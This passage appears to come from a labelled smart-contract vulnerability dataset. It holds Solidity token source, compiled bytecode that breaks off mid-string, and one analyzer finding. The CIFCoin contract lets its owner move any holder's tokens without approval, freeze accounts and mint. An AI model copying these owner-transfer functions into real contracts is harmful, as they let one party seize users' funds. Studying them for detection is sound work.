/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount.mul(sellPrice)); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
}
|
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012d57806306fdde0314610164578063095ea7b3146101f457806318160ddd1461025957806323b872dd14610284578063313ce5671461030957806342966c681461033a5780634b7503341461037f57806370a08231146103aa57806379c650681461040157806379cc67901461044e5780638620410b146104b35780638da5cb5b146104de57806395d89b4114610535578063a6f2ae3a146105c5578063a9059cbb146105cf578063b414d4b61461061c578063cae9ca5114610677578063dd62ed3e14610722578063e4849b3214610799578063e724529c146107c6578063f2fde38b14610815575b600080fd5b34801561013957600080fd5b506101626004803603810190808035906020019092919080359060200190929190505050610858565b005b34801561017057600080fd5b506101796108c5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610963565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e6109f0565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b506102ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f6565b604051808215151515815260200191505060405180910390f35b34801561031557600080fd5b5061031e610ba8565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034657600080fd5b5061036560048036038101908080359060200190929190505050610bbb565b604051808215151515815260200191505060405180910390f35b34801561038b57600080fd5b50610394610d12565b6040518082815260200191505060405180910390f35b3480156103b657600080fd5b506103eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d18565b6040518082815260200191505060405180910390f35b34801561040d57600080fd5b5061044c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d30565b005b34801561045a57600080fd5b50610499600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ef4565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104c86111e6565b6040518082815260200191505060405180910390f35b3480156104ea57600080fd5b506104f36111ec565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054157600080fd5b5061054a611211565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561058a57808201518184015260208101905061056f565b50505050905090810190601f1680156105b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105cd6112af565b005b3480156105db57600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112d6565b005b34801561062857600080fd5b5061065d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e5565b604051808215151515815260200191505060405180910390f35b34801561068357600080fd5b50610708600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611305565b604051808215151515815260200191505060405180910390f35b34801561072e57600080fd5b50610783600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611488565b6040518082815260200191505060405180910390f35b3480156107a557600080fd5b506107c4600480360381019080803590602001909291905050506114ad565b005b3480156107d257600080fd5b50610813600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611540565b005b34801561082157600080fd5b50610856600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611665565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b357600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561095b5780601f106109305761010080835404028352916020019161095b565b820191906000526020600020905b81548152906001019060200180831161093e57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a8357600080fd5b610b1282600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170390919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b9d84848461171c565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610c0b57600080fd5b610c5d82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170390919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cb58260045461170390919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d8b57600080fd5b610ddd81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7590919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e3581600454611a7590919063ffffffff16565b6004819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610f4457600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610fcf57600080fd5b61102182600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110f382600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170390919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111888260045461170390919063ffffffff16565b6004819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112a75780601f1061127c576101008083540402835291602001916112a7565b820191906000526020600020905b81548152906001019060200180831161128a57829003601f168201915b505050505081565b60006112c660085434611a9390919063ffffffff16565b90506112d330338361171c565b50565b6112e133838361171c565b5050565b60096020528060005260406000206000915054906101000a900460ff1681565b6000808490506113158585610963565b1561147f578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561140f5780820151818401526020810190506113f4565b50505050905090810190601f16801561143c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561145e57600080fd5b505af1158015611472573d6000803e3d6000fd5b5050505060019150611480565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6114c260075482611aae90919063ffffffff16565b3073ffffffffffffffffffffffffffffffffffffffff1631101515156114e757600080fd5b6114f233308361171c565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f1935050505015801561153c573d6000803e3d6000fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561159b57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116c057600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561171157fe5b818303905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561174257600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561179057600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182282600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7590919063ffffffff16565b1015151561182f57600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561188857600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118e157600080fd5b61193381600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119c881600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7590919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000808284019050838110151515611a8957fe5b8091505092915050565b6000808284811515611aa157fe5b0490508091505092915050565b6000806000841415611ac35760009150611ae2565b8284029050828482811515611ad457fe5b04141515611ade57fe5b8091505b50929150505600a165627a7a723058205056e9fbd58b79e9b3597c5f43371342b741a754a39211c649275d10f98338760029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 7,761 |
0xb20563f76433b1f1bf5e41f33eeb76cbc26891ba
|
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(balances[_to] + _value >= balances[_to]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause(bool newState);
event Unpause(bool newState);
bool public paused = false;
/**
* Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause(true);
}
/**
* called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause(false);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract CIFCoin is PausableToken {
string public constant name = "CIFCoin";
string public constant symbol = "CIF";
uint8 public constant decimals = 18;
modifier validDestination( address to )
{
require(to != address(0x0));
require(to != address(this));
_;
}
mapping(address => bool) frozen;
function CIFCoin() public
{
// assign the total tokens to CrowdIF
totalSupply = 41500000e18; //41.5 million
balances[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
function transfer(address _to, uint _value) validDestination(_to) public returns (bool)
{
require(!isFrozen(msg.sender));
require(!isFrozen(_to));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) validDestination(_to) public returns (bool)
{
require(!isFrozen(msg.sender));
require(!isFrozen(_from));
require(!isFrozen(_to));
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) public returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0x0), _value);
return true;
}
// save some gas by making only one contract call
function burnFrom(address _from, uint256 _value) public returns (bool)
{
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function customExchangeSecure(address _from, address _to, uint256 _value) onlyOwner whenNotPaused public returns (bool) {
require(_to != address(0));
require(balances[_from] >= _value);
require(balances[_to].add(_value) >= balances[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function customExchange(address _from, address _to, uint256 _value) onlyOwner public returns (bool) {
require(_to != address(0));
require(balances[_from] >= _value);
require(balances[_to].add(_value) >= balances[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner public {
// owner can drain tokens that are sent here by mistake
token.transfer( owner, amount );
}
/* This notifies clients about the amount frozen */
event Freeze(address indexed addr);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed addr);
/**
* check if given address is frozen.
*/
function isFrozen(address _addr) constant public returns (bool) {
return frozen[_addr];
}
/**
* Freezes address (no transfer can be made from or to this address).
*/
function freeze(address _addr) onlyOwner public {
frozen[_addr] = true;
}
/**
* Unfreezes frozen address.
*/
function unfreeze(address _addr) onlyOwner public {
frozen[_addr] = false;
}
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
// transfer balance to owner
function withdrawEther(uint256 amount) onlyOwner public {
require(msg.sender == owner);
owner.transfer(amount);
}
// can accept ether
function() payable public {
}
}
|
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461016c57806306fdde031461019b578063095ea7b31461022b57806318160ddd14610290578063190406b3146102bb57806323b872dd14610340578063313ce567146103c55780633bed33ce146103f65780633f4ba83a1461042357806340c10f191461043a57806342966c681461049f57806345c8b1a6146104e45780635c975abb1461052757806362e4aeb81461055657806366188463146105db57806370a082311461064057806379cc6790146106975780637d64bcb4146106fc5780638456cb591461072b5780638d1fdf2f146107425780638da5cb5b1461078557806395d89b41146107dc578063a9059cbb1461086c578063d73dd623146108d1578063db0e16f114610936578063dd62ed3e14610983578063e5839836146109fa578063f2fde38b14610a55575b005b34801561017857600080fd5b50610181610a98565b604051808215151515815260200191505060405180910390f35b3480156101a757600080fd5b506101b0610aab565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f05780820151818401526020810190506101d5565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae4565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610b14565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b50610326600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b1a565b604051808215151515815260200191505060405180910390f35b34801561034c57600080fd5b506103ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e57565b604051808215151515815260200191505060405180910390f35b3480156103d157600080fd5b506103da610f25565b604051808260ff1660ff16815260200191505060405180910390f35b34801561040257600080fd5b5061042160048036038101908080359060200190929190505050610f2a565b005b34801561042f57600080fd5b5061043861104e565b005b34801561044657600080fd5b50610485600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061111e565b604051808215151515815260200191505060405180910390f35b3480156104ab57600080fd5b506104ca60048036038101908080359060200190929190505050611306565b604051808215151515815260200191505060405180910390f35b3480156104f057600080fd5b50610525600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611475565b005b34801561053357600080fd5b5061053c61152c565b604051808215151515815260200191505060405180910390f35b34801561056257600080fd5b506105c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061153f565b604051808215151515815260200191505060405180910390f35b3480156105e757600080fd5b50610626600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611860565b604051808215151515815260200191505060405180910390f35b34801561064c57600080fd5b50610681600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611890565b6040518082815260200191505060405180910390f35b3480156106a357600080fd5b506106e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118d9565b604051808215151515815260200191505060405180910390f35b34801561070857600080fd5b506107116118ff565b604051808215151515815260200191505060405180910390f35b34801561073757600080fd5b506107406119c7565b005b34801561074e57600080fd5b50610783600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a98565b005b34801561079157600080fd5b5061079a611b4f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107e857600080fd5b506107f1611b75565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610831578082015181840152602081019050610816565b50505050905090810190601f16801561085e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561087857600080fd5b506108b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611bae565b604051808215151515815260200191505060405180910390f35b3480156108dd57600080fd5b5061091c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c65565b604051808215151515815260200191505060405180910390f35b34801561094257600080fd5b50610981600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c95565b005b34801561098f57600080fd5b506109e4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611df6565b6040518082815260200191505060405180910390f35b348015610a0657600080fd5b50610a3b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e7d565b604051808215151515815260200191505060405180910390f35b348015610a6157600080fd5b50610a96600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ed3565b005b600560009054906101000a900460ff1681565b6040805190810160405280600781526020017f434946436f696e0000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610b0257600080fd5b610b0c838361202b565b905092915050565b60005481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b7857600080fd5b600360149054906101000a900460ff16151515610b9457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610bd057600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610c1e57600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cb083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211d90919063ffffffff16565b10151515610cbd57600080fd5b610d0f82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e9657600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ed157600080fd5b610eda33611e7d565b151515610ee657600080fd5b610eef85611e7d565b151515610efb57600080fd5b610f0484611e7d565b151515610f1057600080fd5b610f1b858585612154565b9150509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f8657600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe257600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561104a573d6000803e3d6000fd5b5050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110aa57600080fd5b600360149054906101000a900460ff1615156110c557600080fd5b6000600360146101000a81548160ff0219169083151502179055507f438b0bb88e1b4ec35c11877ff82c0cdfb4d7a0053df376e1d8f8494b0335c3f46000604051808215151515815260200191505060405180910390a1565b6000600360009054906101000a900473fffffffffffffffffffffff